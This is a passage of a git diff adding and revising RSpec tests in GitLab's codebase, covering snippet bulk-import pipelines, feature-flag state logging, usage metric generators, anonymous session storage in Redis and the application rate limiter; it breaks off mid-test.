index 00000000000..dae879de998
--- /dev/null
+++ b/spec/lib/bulk_imports/projects/pipelines/snippets_pipeline_spec.rb
@@ -0,0 +1,119 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::Projects::Pipelines::SnippetsPipeline do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, group: group) }
+ let_it_be(:bulk_import) { create(:bulk_import, user: user) }
+ let_it_be(:entity) do
+ create(
+ :bulk_import_entity,
+ :project_entity,
+ project: project,
+ bulk_import: bulk_import,
+ source_full_path: 'source/full/path',
+ destination_name: 'My Destination Project',
+ destination_namespace: group.full_path
+ )
+ end
+
+ let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
+
+ let(:snippet_attributes) { {} }
+ let(:exported_snippet) do
+ {
+ 'id' => 25,
+ 'title' => 'Snippet with 2 files',
+ 'content' => 'content',
+ 'author_id' => 22,
+ 'project_id' => 6,
+ 'created_at' => '2021-10-28T20:21:59.712Z',
+ 'updated_at' => '2021-10-28T20:31:10.408Z',
+ 'file_name' => 'galactic_empire.rb',
+ 'visibility_level' => 0,
+ 'description' => 'How to track your Galactic armies.'
+ }.merge(snippet_attributes)
+ end
+
+ subject(:pipeline) { described_class.new(context) }
+
+ describe '#run' do
+ before do
+ group.add_owner(user)
+ snippet_with_index = [exported_snippet.dup, 0]
+
+ allow_next_instance_of(BulkImports::Common::Extractors::NdjsonExtractor) do |extractor|
+ allow(extractor).to receive(:extract).and_return(BulkImports::Pipeline::ExtractedData.new(data: [snippet_with_index]))
+ end
+
+ pipeline.run
+ end
+
+ it 'imports snippet into destination project' do
+ imported_snippet = project.snippets.last
+
+ expect(imported_snippet).to have_attributes(
+ title: exported_snippet['title'],
+ content: exported_snippet['content'],
+ author_id: user.id,
+ created_at: DateTime.parse(exported_snippet['created_at']),
+ updated_at: DateTime.parse(exported_snippet['updated_at']),
+ file_name: exported_snippet['file_name'],
+ visibility_level: exported_snippet['visibility_level'])
+ end
+
+ context 'with award_emoji' do
+ let(:snippet_attributes) { { 'award_emoji' => [expected_award] } }
+ let(:expected_award) do
+ {
+ 'id' => 580,
+ 'name' => 'rocket',
+ 'user_id' => 1,
+ 'awardable_type' => 'Snippet',
+ 'created_at' => '2021-10-28T20:30:25.802Z',
+ 'updated_at' => '2021-10-28T20:30:25.802Z'
+ }
+ end
+
+ it 'restores the award_emoji' do
+ snippet_award = project.snippets.first.award_emoji.first
+
+ expect(snippet_award).to have_attributes(
+ name: expected_award['name'],
+ user_id: user.id,
+ awardable_type: expected_award['awardable_type'],
+ created_at: DateTime.parse(expected_award['created_at']),
+ updated_at: DateTime.parse(expected_award['updated_at']))
+ end
+ end
+
+ context 'with notes', :freeze_time do
+ # To properly emulate a fixture that is expected to be read from a file, we dump a json
+ # object, then parse it right away. We expected that some attrs like Datetimes be
+ # converted to Strings.
+ let(:exported_snippet) { Gitlab::Json.parse(note.noteable.attributes.merge('notes' => notes).to_json) }
+ let(:note) { create(:note_on_project_snippet, :with_attachment) }
+ let(:notes) { [note.attributes.merge('author' => { 'name' => note.author.name })] }
+
+ it 'restores the notes' do
+ snippet_note = project.snippets.last.notes.first
+ author_name = note.author.name
+ note_updated_at = exported_snippet['notes'].first['updated_at'].split('.').first
+
+ expect(snippet_note).to have_attributes(
+ note: note.note + "\n\n *By #{author_name} on #{note_updated_at} (imported from GitLab)*",
+ noteable_type: note.noteable_type,
+ author_id: user.id,
+ updated_at: note.updated_at,
+ line_code: note.line_code,
+ commit_id: note.commit_id,
+ system: note.system,
+ st_diff: note.st_diff,
+ updated_by_id: user.id)
+ end
+ end
+ end
+end
diff --git a/spec/lib/bulk_imports/projects/pipelines/snippets_repository_pipeline_spec.rb b/spec/lib/bulk_imports/projects/pipelines/snippets_repository_pipeline_spec.rb
new file mode 100644
index 00000000000..9897e74ec7b
--- /dev/null
+++ b/spec/lib/bulk_imports/projects/pipelines/snippets_repository_pipeline_spec.rb
@@ -0,0 +1,168 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::Projects::Pipelines::SnippetsRepositoryPipeline do
+ let(:user) { create(:user) }
+ let(:project) { create(:project) }
+ let(:bulk_import) { create(:bulk_import, user: user) }
+ let(:bulk_import_configuration) { create(:bulk_import_configuration, bulk_import: bulk_import) }
+ let!(:matched_snippet) { create(:snippet, project: project, created_at: "1981-12-13T23:59:59Z")}
+ let(:entity) do
+ create(
+ :bulk_import_entity,
+ :project_entity,
+ project: project,
+ bulk_import: bulk_import_configuration.bulk_import,
+ source_full_path: 'source/full/path',
+ destination_name: 'My Destination Project',
+ destination_namespace: project.full_path
+ )
+ end
+
+ let(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let(:context) { BulkImports::Pipeline::Context.new(tracker) }
+
+ subject(:pipeline) { described_class.new(context) }
+
+ let(:http_url_to_repo) { 'https://example.com/foo/bar/snippets/42.git' }
+ let(:data) do
+ [
+ {
+ 'title' => matched_snippet.title,
+ 'httpUrlToRepo' => http_url_to_repo,
+ 'createdAt' => matched_snippet.created_at.to_s
+ }
+ ]
+ end
+
+ let(:page_info) do
+ {
+ 'next_page' => 'eyJpZCI6IjIyMDA2OTYifQ',
+ 'has_next_page' => false
+ }
+ end
+
+ let(:extracted_data) { BulkImports::Pipeline::ExtractedData.new(data: data, page_info: page_info) }
+
+ describe 'extractor' do
+ it 'is a GraphqlExtractor with Graphql::GetSnippetRepositoryQuery' do
+ expect(described_class.get_extractor).to eq(
+ klass: BulkImports::Common::Extractors::GraphqlExtractor,
+ options: {
+ query: BulkImports::Projects::Graphql::GetSnippetRepositoryQuery
+ })
+ end
+ end
+
+ describe '#run' do
+ let(:validation_response) { double(Hash, 'error?': false) }
+
+ before do
+ allow_next_instance_of(BulkImports::Common::Extractors::GraphqlExtractor) do |extractor|
+ allow(extractor).to receive(:extract).and_return(extracted_data)
+ end
+
+ allow_next_instance_of(Snippets::RepositoryValidationService) do |repository_validation|
+ allow(repository_validation).to receive(:execute).and_return(validation_response)
+ end
+ end
+
+ shared_examples 'skippable snippet' do
+ it 'does not create snippet repo' do
+ pipeline.run
+
+ expect(Gitlab::GlRepository::SNIPPET.repository_for(matched_snippet).exists?).to be false
+ end
+ end
+
+ context 'when a snippet is not matched' do
+ let(:data) do
+ [
+ {
+ 'title' => 'unmatched title',
+ 'httpUrlToRepo' => http_url_to_repo,
+ 'createdAt' => matched_snippet.created_at.to_s
+ }
+ ]
+ end
+
+ it_behaves_like 'skippable snippet'
+ end
+
+ context 'when httpUrlToRepo is empty' do
+ let(:data) do
+ [
+ {
+ 'title' => matched_snippet.title,
+ 'createdAt' => matched_snippet.created_at.to_s
+ }
+ ]
+ end
+
+ it_behaves_like 'skippable snippet'
+ end
+
+ context 'when a snippet matches' do
+ context 'when snippet url is valid' do
+ it 'creates snippet repo' do
+ expect { pipeline.run }
+ .to change { Gitlab::GlRepository::SNIPPET.repository_for(matched_snippet).exists? }.to true
+ end
+
+ it 'updates snippets statistics' do
+ allow_next_instance_of(Repository) do |repository|
+ allow(repository).to receive(:fetch_as_mirror)
+ end
+
+ service = double(Snippets::UpdateStatisticsService)
+
+ expect(Snippets::UpdateStatisticsService).to receive(:new).with(kind_of(Snippet)).and_return(service)
+ expect(service).to receive(:execute)
+
+ pipeline.run
+ end
+
+ it 'fetches snippet repo from url' do
+ expect_next_instance_of(Repository) do |repository|
+ expect(repository)
+ .to receive(:fetch_as_mirror)
+ .with("https://oauth2:#{bulk_import_configuration.access_token}@example.com/foo/bar/snippets/42.git")
+ end
+
+ pipeline.run
+ end
+ end
+
+ context 'when url is invalid' do
+ let(:http_url_to_repo) { 'http://0.0.0.0' }
+
+ it_behaves_like 'skippable snippet'
+ end
+
+ context 'when snippet is invalid' do
+ let(:validation_response) { double(Hash, 'error?': true) }
+
+ before do
+ allow_next_instance_of(Repository) do |repository|
+ allow(repository).to receive(:fetch_as_mirror)
+ end
+ end
+
+ it 'does not leave a hanging SnippetRepository behind' do
+ pipeline.run
+
+ expect(SnippetRepository.where(snippet_id: matched_snippet.id).exists?).to be false
+ end
+
+ it 'does not call UpdateStatisticsService' do
+ expect(Snippets::UpdateStatisticsService).not_to receive(:new)
+
+ pipeline.run
+ end
+
+ it_behaves_like 'skippable snippet'
+ end
+ end
+ end
+end
diff --git a/spec/lib/bulk_imports/projects/stage_spec.rb b/spec/lib/bulk_imports/projects/stage_spec.rb
index e7670085f60..81cbdcae9d1 100644
--- a/spec/lib/bulk_imports/projects/stage_spec.rb
+++ b/spec/lib/bulk_imports/projects/stage_spec.rb
@@ -2,20 +2,32 @@
require 'spec_helper'
+# Any new stages must be added to
+# `ee/spec/lib/ee/bulk_imports/projects/stage_spec.rb` as well.
RSpec.describe BulkImports::Projects::Stage do
let(:pipelines) do
[
[0, BulkImports::Projects::Pipelines::ProjectPipeline],
[1, BulkImports::Projects::Pipelines::RepositoryPipeline],
+ [1, BulkImports::Projects::Pipelines::ProjectAttributesPipeline],
[2, BulkImports::Common::Pipelines::LabelsPipeline],
[2, BulkImports::Common::Pipelines::MilestonesPipeline],
+ [2, BulkImports::Common::Pipelines::BadgesPipeline],
[3, BulkImports::Projects::Pipelines::IssuesPipeline],
+ [3, BulkImports::Projects::Pipelines::SnippetsPipeline],
+ [4, BulkImports::Projects::Pipelines::SnippetsRepositoryPipeline],
[4, BulkImports::Common::Pipelines::BoardsPipeline],
[4, BulkImports::Projects::Pipelines::MergeRequestsPipeline],
[4, BulkImports::Projects::Pipelines::ExternalPullRequestsPipeline],
[4, BulkImports::Projects::Pipelines::ProtectedBranchesPipeline],
+ [4, BulkImports::Projects::Pipelines::CiPipelinesPipeline],
+ [4, BulkImports::Projects::Pipelines::ProjectFeaturePipeline],
+ [4, BulkImports::Projects::Pipelines::ContainerExpirationPolicyPipeline],
+ [4, BulkImports::Projects::Pipelines::ServiceDeskSettingPipeline],
[5, BulkImports::Common::Pipelines::WikiPipeline],
[5, BulkImports::Common::Pipelines::UploadsPipeline],
+ [5, BulkImports::Projects::Pipelines::AutoDevopsPipeline],
+ [5, BulkImports::Projects::Pipelines::PipelineSchedulesPipeline],
[6, BulkImports::Common::Pipelines::EntityFinisher]
]
end
diff --git a/spec/lib/error_tracking/collector/payload_validator_spec.rb b/spec/lib/error_tracking/collector/payload_validator_spec.rb
index 852cf9eac6c..ab5ec448dff 100644
--- a/spec/lib/error_tracking/collector/payload_validator_spec.rb
+++ b/spec/lib/error_tracking/collector/payload_validator_spec.rb
@@ -3,16 +3,18 @@
require 'spec_helper'
RSpec.describe ErrorTracking::Collector::PayloadValidator do
+ let(:validator) { described_class.new }
+
describe '#valid?' do
RSpec.shared_examples 'valid payload' do
- it 'returns true' do
- expect(described_class.new.valid?(payload)).to be_truthy
+ specify do
+ expect(validator).to be_valid(payload)
end
end
RSpec.shared_examples 'invalid payload' do
- it 'returns false' do
- expect(described_class.new.valid?(payload)).to be_falsey
+ specify do
+ expect(validator).not_to be_valid(payload)
end
end
@@ -28,6 +30,12 @@ RSpec.describe ErrorTracking::Collector::PayloadValidator do
it_behaves_like 'valid payload'
end
+ context 'python payload in repl' do
+ let(:payload) { Gitlab::Json.parse(fixture_file('error_tracking/python_event_repl.json')) }
+
+ it_behaves_like 'valid payload'
+ end
+
context 'browser payload' do
let(:payload) { Gitlab::Json.parse(fixture_file('error_tracking/browser_event.json')) }
diff --git a/spec/lib/feature/definition_spec.rb b/spec/lib/feature/definition_spec.rb
index 21120012927..2f95f8eeab7 100644
--- a/spec/lib/feature/definition_spec.rb
+++ b/spec/lib/feature/definition_spec.rb
@@ -161,6 +161,41 @@ RSpec.describe Feature::Definition do
end
end
+ describe '.for_upcoming_milestone?' do
+ using RSpec::Parameterized::TableSyntax
+
+ let(:definition) do
+ Feature::Definition.new("development/enabled_feature_flag.yml",
+ name: :enabled_feature_flag,
+ type: 'development',
+ milestone: milestone,
+ default_enabled: false)
+ end
+
+ before do
+ allow(Feature::Definition).to receive(:definitions) do
+ { definition.key => definition }
+ end
+
+ allow(Gitlab).to receive(:version_info).and_return(Gitlab::VersionInfo.parse(current_milestone))
+ end
+
+ subject { definition.for_upcoming_milestone? }
+
+ where(:ctx, :milestone, :current_milestone, :expected) do
+ 'no milestone' | nil | '1.0.0' | false
+ 'upcoming milestone - major' | '2.3' | '1.9.999' | true
+ 'upcoming milestone - minor' | '2.3' | '2.2.999' | true
+ 'current milestone' | '2.3' | '2.3.999' | true
+ 'past milestone - major' | '1.9' | '2.3.999' | false
+ 'past milestone - minor' | '2.2' | '2.3.999' | false
+ end
+
+ with_them do
+ it {is_expected.to be(expected)}
+ end
+ end
+
describe '.valid_usage!' do
before do
allow(described_class).to receive(:definitions) do
@@ -215,7 +250,42 @@ RSpec.describe Feature::Definition do
end
end
- describe '.defaul_enabled?' do
+ describe '.log_states?' do
+ using RSpec::Parameterized::TableSyntax
+
+ let(:definition) do
+ Feature::Definition.new("development/enabled_feature_flag.yml",
+ name: :enabled_feature_flag,
+ type: 'development',
+ milestone: milestone,
+ log_state_changes: log_state_change,
+ default_enabled: false)
+ end
+
+ before do
+ allow(Feature::Definition).to receive(:definitions) do
+ { definition.key => definition }
+ end
+
+ allow(Gitlab).to receive(:version_info).and_return(Gitlab::VersionInfo.new(10, 0, 0))
+ end
+
+ subject { Feature::Definition.log_states?(key) }
+
+ where(:ctx, :key, :milestone, :log_state_change, :expected) do
+ 'When flag does not exist' | :no_flag | "0.0" | true | false
+ 'When flag is old, and logging is not forced' | :enabled_feature_flag | "0.0" | false | false
+ 'When flag is old, but logging is forced' | :enabled_feature_flag | "0.0" | true | true
+ 'When flag is current' | :enabled_feature_flag | "10.0" | true | true
+ 'Flag is upcoming' | :enabled_feature_flag | "10.0" | true | true
+ end
+
+ with_them do
+ it { is_expected.to be(expected) }
+ end
+ end
+
+ describe '.default_enabled?' do
subject { described_class.default_enabled?(key) }
context 'when feature flag exist' do
diff --git a/spec/lib/feature_spec.rb b/spec/lib/feature_spec.rb
index 58e7292c125..82580d5d700 100644
--- a/spec/lib/feature_spec.rb
+++ b/spec/lib/feature_spec.rb
@@ -127,6 +127,10 @@ RSpec.describe Feature, stub_feature_flags: false do
end
describe '.enabled?' do
+ before do
+ allow(Feature).to receive(:log_feature_flag_states?).and_return(false)
+ end
+
it 'returns false for undefined feature' do
expect(described_class.enabled?(:some_random_feature_flag)).to be_falsey
end
@@ -179,6 +183,35 @@ RSpec.describe Feature, stub_feature_flags: false do
expect(described_class.enabled?(:a_feature, default_enabled: fake_default)).to eq(fake_default)
end
+ context 'logging is enabled', :request_store do
+ before do
+ allow(Feature).to receive(:log_feature_flag_states?).and_call_original
+
+ definition = Feature::Definition.new("development/enabled_feature_flag.yml",
+ name: :enabled_feature_flag,
+ type: 'development',
+ log_state_changes: true,
+ default_enabled: false)
+
+ allow(Feature::Definition).to receive(:definitions) do
+ { definition.key => definition }
+ end
+
+ described_class.enable(:feature_flag_state_logs)
+ described_class.enable(:enabled_feature_flag)
+ described_class.enabled?(:enabled_feature_flag)
+ end
+
+ it 'does not log feature_flag_state_logs' do
+ expect(described_class.logged_states).not_to have_key("feature_flag_state_logs")
+ end
+
+ it 'logs other feature flags' do
+ expect(described_class.logged_states).to have_key(:enabled_feature_flag)
+ expect(described_class.logged_states[:enabled_feature_flag]).to be_truthy
+ end
+ end
+
context 'cached feature flag', :request_store do
let(:flag) { :some_feature_flag }
@@ -491,6 +524,82 @@ RSpec.describe Feature, stub_feature_flags: false do
end
end
+ describe '.log_feature_flag_states?' do
+ let(:log_state_changes) { false }
+ let(:milestone) { "0.0" }
+ let(:flag_name) { :some_flag }
+ let(:definition) do
+ Feature::Definition.new("development/#{flag_name}.yml",
+ name: flag_name,
+ type: 'development',
+ milestone: milestone,
+ log_state_changes: log_state_changes,
+ default_enabled: false)
+ end
+
+ before do
+ Feature.enable(:feature_flag_state_logs)
+ Feature.enable(:some_flag)
+
+ allow(Feature).to receive(:log_feature_flag_states?).and_return(false)
+ allow(Feature).to receive(:log_feature_flag_states?).with(:feature_flag_state_logs).and_call_original
+ allow(Feature).to receive(:log_feature_flag_states?).with(:some_flag).and_call_original
+
+ allow(Feature::Definition).to receive(:definitions) do
+ { definition.key => definition }
+ end
+ end
+
+ subject { described_class.log_feature_flag_states?(flag_name) }
+
+ context 'when flag is feature_flag_state_logs' do
+ let(:milestone) { "14.6" }
+ let(:flag_name) { :feature_flag_state_logs }
+ let(:log_state_changes) { true }
+
+ it { is_expected.to be_falsey }
+ end
+
+ context 'when flag is old' do
+ it { is_expected.to be_falsey }
+ end
+
+ context 'when flag is old while log_state_changes is not present ' do
+ let(:definition) do
+ Feature::Definition.new("development/#{flag_name}.yml",
+ name: flag_name,
+ type: 'development',
+ milestone: milestone,
+ default_enabled: false)
+ end
+
+ it { is_expected.to be_falsey }
+ end
+
+ context 'when flag is old but log_state_changes is true' do
+ let(:log_state_changes) { true }
+
+ it { is_expected.to be_truthy }
+ end
+
+ context 'when flag is new and not feature_flag_state_logs' do
+ let(:milestone) { "14.6" }
+
+ it { is_expected.to be_truthy }
+ end
+
+ context 'when milestone is nil' do
+ let(:definition) do
+ Feature::Definition.new("development/#{flag_name}.yml",
+ name: flag_name,
+ type: 'development',
+ default_enabled: false)
+ end
+
+ it { is_expected.to be_falsey }
+ end
+ end
+
context 'caching with stale reads from the database', :use_clean_rails_redis_caching, :request_store, :aggregate_failures do
let(:actor) { stub_feature_flag_gate('CustomActor:5') }
let(:another_actor) { stub_feature_flag_gate('CustomActor:10') }
diff --git a/spec/lib/generators/gitlab/usage_metric_definition/redis_hll_generator_spec.rb b/spec/lib/generators/gitlab/usage_metric_definition/redis_hll_generator_spec.rb
index e497551bc3f..4cba9732c22 100644
--- a/spec/lib/generators/gitlab/usage_metric_definition/redis_hll_generator_spec.rb
+++ b/spec/lib/generators/gitlab/usage_metric_definition/redis_hll_generator_spec.rb
@@ -28,8 +28,14 @@ RSpec.describe Gitlab::UsageMetricDefinition::RedisHllGenerator, :silence_stdout
weekly_metric_definition_path = Dir.glob(File.join(temp_dir, 'metrics/counts_7d/*i_test_event_weekly.yml')).first
monthly_metric_definition_path = Dir.glob(File.join(temp_dir, 'metrics/counts_28d/*i_test_event_monthly.yml')).first
- expect(YAML.safe_load(File.read(weekly_metric_definition_path))).to include("key_path" => "redis_hll_counters.test_category.i_test_event_weekly")
- expect(YAML.safe_load(File.read(monthly_metric_definition_path))).to include("key_path" => "redis_hll_counters.test_category.i_test_event_monthly")
+ weekly_metric_definition = YAML.safe_load(File.read(weekly_metric_definition_path))
+ monthly_metric_definition = YAML.safe_load(File.read(monthly_metric_definition_path))
+
+ expect(weekly_metric_definition).to include("key_path" => "redis_hll_counters.test_category.i_test_event_weekly")
+ expect(monthly_metric_definition).to include("key_path" => "redis_hll_counters.test_category.i_test_event_monthly")
+
+ expect(weekly_metric_definition["instrumentation_class"]).to eq('RedisHLLMetric')
+ expect(monthly_metric_definition["instrumentation_class"]).to eq('RedisHLLMetric')
end
context 'with ee option' do
@@ -49,9 +55,11 @@ RSpec.describe Gitlab::UsageMetricDefinition::RedisHllGenerator, :silence_stdout
expect(weekly_metric_definition).to include("key_path" => "redis_hll_counters.test_category.i_test_event_weekly")
expect(weekly_metric_definition["distribution"]).to include('ee')
+ expect(weekly_metric_definition["instrumentation_class"]).to eq('RedisHLLMetric')
expect(monthly_metric_definition).to include("key_path" => "redis_hll_counters.test_category.i_test_event_monthly")
expect(monthly_metric_definition["distribution"]).to include('ee')
+ expect(monthly_metric_definition["instrumentation_class"]).to eq('RedisHLLMetric')
end
end
end
diff --git a/spec/lib/generators/gitlab/usage_metric_definition_generator_spec.rb b/spec/lib/generators/gitlab/usage_metric_definition_generator_spec.rb
index b67425ae012..6a30bcd0e2c 100644
--- a/spec/lib/generators/gitlab/usage_metric_definition_generator_spec.rb
+++ b/spec/lib/generators/gitlab/usage_metric_definition_generator_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Gitlab::UsageMetricDefinitionGenerator, :silence_stdout do
let(:key_path) { 'counts_weekly.test_metric' }
let(:dir) { '7d' }
+ let(:class_name) { 'Count' }
let(:temp_dir) { Dir.mktmpdir }
before do
@@ -33,7 +34,7 @@ RSpec.describe Gitlab::UsageMetricDefinitionGenerator, :silence_stdout do
let(:metric_definition_path) { Dir.glob(File.join(temp_dir, 'metrics/counts_7d/*_test_metric.yml')).first }
it 'creates a metric definition file using the template' do
- described_class.new([key_path], { 'dir' => dir }).invoke_all
+ described_class.new([key_path], { 'dir' => dir, 'class_name' => class_name }).invoke_all
expect(YAML.safe_load(File.read(metric_definition_path))).to eq(sample_metric)
end
end
@@ -48,14 +49,14 @@ RSpec.describe Gitlab::UsageMetricDefinitionGenerator, :silence_stdout do
end
it 'creates a metric definition file using the template' do
- described_class.new([key_path], { 'dir' => dir, 'ee': true }).invoke_all
+ described_class.new([key_path], { 'dir' => dir, 'class_name' => class_name, 'ee': true }).invoke_all
expect(YAML.safe_load(File.read(metric_definition_path))).to eq(sample_metric)
end
end
end
describe 'Validation' do
- let(:options) { [key_path, '--dir', dir] }
+ let(:options) { [key_path, '--dir', dir, '--class_name', class_name] }
subject { described_class.start(options) }
@@ -93,7 +94,7 @@ RSpec.describe Gitlab::UsageMetricDefinitionGenerator, :silence_stdout do
describe 'Name suggestions' do
it 'adds name key to metric definition' do
expect(::Gitlab::Usage::Metrics::NamesSuggestions::Generator).to receive(:generate).and_return('some name')
- described_class.new([key_path], { 'dir' => dir }).invoke_all
+ described_class.new([key_path], { 'dir' => dir, 'class_name' => class_name }).invoke_all
metric_definition_path = Dir.glob(File.join(temp_dir, 'metrics/counts_7d/*_test_metric.yml')).first
expect(YAML.safe_load(File.read(metric_definition_path))).to include("name" => "some name")
@@ -104,7 +105,7 @@ RSpec.describe Gitlab::UsageMetricDefinitionGenerator, :silence_stdout do
let(:key_paths) { ['counts_weekly.test_metric', 'counts_weekly.test1_metric'] }
it 'creates multiple files' do
- described_class.new(key_paths, { 'dir' => dir }).invoke_all
+ described_class.new(key_paths, { 'dir' => dir, 'class_name' => class_name }).invoke_all
files = Dir.glob(File.join(temp_dir, 'metrics/counts_7d/*_metric.yml'))
expect(files.count).to eq(2)
diff --git a/spec/lib/gitlab/analytics/cycle_analytics/aggregated/records_fetcher_spec.rb b/spec/lib/gitlab/analytics/cycle_analytics/aggregated/records_fetcher_spec.rb
index 045cdb129cb..55ba6e56237 100644
--- a/spec/lib/gitlab/analytics/cycle_analytics/aggregated/records_fetcher_spec.rb
+++ b/spec/lib/gitlab/analytics/cycle_analytics/aggregated/records_fetcher_spec.rb
@@ -41,6 +41,19 @@ RSpec.describe Gitlab::Analytics::CycleAnalytics::Aggregated::RecordsFetcher do
it_behaves_like 'match returned records'
end
+ context 'when intervalstyle setting is configured to "postgres"' do
+ it 'avoids nil durations' do
+ # ActiveRecord cannot parse the 'postgres' intervalstyle, it returns nil
+ # The setting is rolled back after the test case.
+ Analytics::CycleAnalytics::IssueStageEvent.connection.execute("SET LOCAL intervalstyle='postgres'")
+
+ records_fetcher.serialized_records do |relation|
+ durations = relation.map(&:total_time)
+ expect(durations).to all(be > 0)
+ end
+ end
+ end
+
context 'when sorting by end event ASC' do
let(:expected_issue_ids) { [issue_2.iid, issue_1.iid, issue_3.iid] }
diff --git a/spec/lib/gitlab/anonymous_session_spec.rb b/spec/lib/gitlab/anonymous_session_spec.rb
index 245ca02e91a..64186e9003a 100644
--- a/spec/lib/gitlab/anonymous_session_spec.rb
+++ b/spec/lib/gitlab/anonymous_session_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::AnonymousSession, :clean_gitlab_redis_shared_state do
+RSpec.describe Gitlab::AnonymousSession, :clean_gitlab_redis_sessions do
let(:default_session_id) { '6919a6f1bb119dd7396fadc38fd18d0d' }
let(:additional_session_id) { '7919a6f1bb119dd7396fadc38fd18d0d' }
@@ -16,7 +16,7 @@ RSpec.describe Gitlab::AnonymousSession, :clean_gitlab_redis_shared_state do
it 'adds session id to proper key' do
subject.count_session_ip
- Gitlab::Redis::SharedState.with do |redis|
+ Gitlab::Redis::Sessions.with do |redis|
expect(redis.get("session:lookup:ip:gitlab2:127.0.0.1").to_i).to eq 1
end
end
@@ -25,7 +25,7 @@ RSpec.describe Gitlab::AnonymousSession, :clean_gitlab_redis_shared_state do
freeze_time do
subject.count_session_ip
- Gitlab::Redis::SharedState.with do |redis|
+ Gitlab::Redis::Sessions.with do |redis|
expect(redis.ttl("session:lookup:ip:gitlab2:127.0.0.1")).to eq(24.hours.to_i)
end
end
@@ -36,7 +36,7 @@ RSpec.describe Gitlab::AnonymousSession, :clean_gitlab_redis_shared_state do
subject.count_session_ip
new_anonymous_session.count_session_ip
- Gitlab::Redis::SharedState.with do |redis|
+ Gitlab::Redis::Sessions.with do |redis|
expect(redis.get("session:lookup:ip:gitlab2:127.0.0.1").to_i).to eq(2)
end
end
@@ -45,7 +45,7 @@ RSpec.describe Gitlab::AnonymousSession, :clean_gitlab_redis_shared_state do
describe '#stored_sessions' do
it 'returns all anonymous sessions per ip' do
- Gitlab::Redis::SharedState.with do |redis|
+ Gitlab::Redis::Sessions.with do |redis|
redis.set("session:lookup:ip:gitlab2:127.0.0.1", 2)
end
@@ -54,13 +54,13 @@ RSpec.describe Gitlab::AnonymousSession, :clean_gitlab_redis_shared_state do
end
it 'removes obsolete lookup through ip entries' do
- Gitlab::Redis::SharedState.with do |redis|
+ Gitlab::Redis::Sessions.with do |redis|
redis.set("session:lookup:ip:gitlab2:127.0.0.1", 2)
end
subject.cleanup_session_per_ip_count
- Gitlab::Redis::SharedState.with do |redis|
+ Gitlab::Redis::Sessions.with do |redis|
expect(redis.exists("session:lookup:ip:gitlab2:127.0.0.1")).to eq(false)
end
end
diff --git a/spec/lib/gitlab/application_context_spec.rb b/spec/lib/gitlab/application_context_spec.rb
index ecd68caba79..5ecec978017 100644
--- a/spec/lib/gitlab/application_context_spec.rb
+++ b/spec/lib/gitlab/application_context_spec.rb
@@ -152,6 +152,38 @@ RSpec.describe Gitlab::ApplicationContext do
end
end
end
+
+ context 'when using a runner project' do
+ let_it_be_with_reload(:runner) { create(:ci_runner, :project) }
+
+ it 'sets project path from runner project' do
+ context = described_class.new(runner: runner)
+
+ expect(result(context)).to include(project: runner.runner_projects.first.project.full_path)
+ end
+
+ context 'when the runner serves multiple projects' do
+ before do
+ create(:ci_runner_project, runner: runner, project: create(:project))
+ end
+
+ it 'does not set project path' do
+ context = described_class.new(runner: runner)
+
+ expect(result(context)).to include(project: nil)
+ end
+ end
+ end
+
+ context 'when using an instance runner' do
+ let_it_be(:runner) { create(:ci_runner, :instance) }
+
+ it 'does not sets project path' do
+ context = described_class.new(runner: runner)
+
+ expect(result(context)).to include(project: nil)
+ end
+ end
end
describe '#use' do
diff --git a/spec/lib/gitlab/application_rate_limiter_spec.rb b/spec/lib/gitlab/application_rate_limiter_spec.rb
index c74bcf8d678..20c89eab5f5 100644
--- a/spec/lib/gitlab/application_rate_limiter_spec.rb
+++ b/spec/lib/gitlab/application_rate_limiter_spec.rb
@@ -2,37 +2,37 @@
require 'spec_helper'
-RSpec.describe Gitlab::ApplicationRateLimiter do
+RSpec.describe Gitlab::ApplicationRateLimiter, :clean_gitlab_redis_rate_limiting do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project) }
- subject { described_class }
-
- describe '.throttled?', :clean_gitlab_redis_rate_limiting do
- let(:rate_limits) do
- {
- test_action: {
- threshold: 1,
- interval: 2.minutes
- },
- another_action: {
- threshold: 2,
- interval: 3.minutes
- }
+ let(:rate_limits) do
+ {
+ test_action: {
+ threshold: 1,
+ interval: 2.minutes
+ },
+ another_action: {
+ threshold: 2,
+ interval: 3.minutes
}
- end
+ }
+ end
- before do
- allow(described_class).to receive(:rate_limits).and_return(rate_limits)
- end
+ subject { described_class }
+
+ before do
+ allow(described_class).to receive(:rate_limits).and_return(rate_limits)
+ end
+ describe '.throttled?' do
context 'when the key is invalid' do
context 'is provided as a Symbol' do
context 'but is not defined in the rate_limits Hash' do
it 'raises an InvalidKeyError exception' do
key = :key_not_in_rate_limits_hash
- expect { subject.throttled?(key) }.to raise_error(Gitlab::ApplicationRateLimiter::InvalidKeyError)
+ expect { subject.throttled?(key, scope: [user]) }.to raise_error(Gitlab::ApplicationRateLimiter::InvalidKeyError)
end
end
end
@@ -42,7 +42,7 @@ RSpec.describe Gitlab::ApplicationRateLimiter do
it 'raises an InvalidKeyError exception' do
key = rate_limits.keys[0].to_s
- expect { subject.throttled?(key) }.to raise_error(Gitlab::ApplicationRateLimiter::InvalidKeyError)
+ expect { subject.throttled?(key, scope: [user]) }.to raise_error(Gitlab::ApplicationRateLimiter::InvalidKeyError)
end
end
@@ -50,7 +50,7 @@ RSpec.describe Gitlab::ApplicationRateLimiter do
it 'raises an InvalidKeyError exception' do
key = 'key_not_in_rate_limits_hash'
- expect { subject.throttled?(key) }.to raise_error(Gitlab::ApplicationRateLimiter::InvalidKeyError)
+ expect { subject.throttled?(key, scope: [user]) }.to raise_error(Gitlab::ApplicationRateLimiter::InvalidKeyError)
end
end
end
@@ -89,6 +89,17 @@ RSpec.describe Gitlab::ApplicationRateLimiter do
expect(subject.throttled?(:another_action, scope: scope)).to eq(true)
end
end
+
+ it 'allows peeking at the current state without changing its value' do
+ travel_to(start_time) do
+ expect(subject.throttled?(:test_action, scope: scope)).to eq(false)
+ 2.times do
+ expect(subject.throttled?(:test_action, scope: scope, peek: true)).to eq(false)
+ end
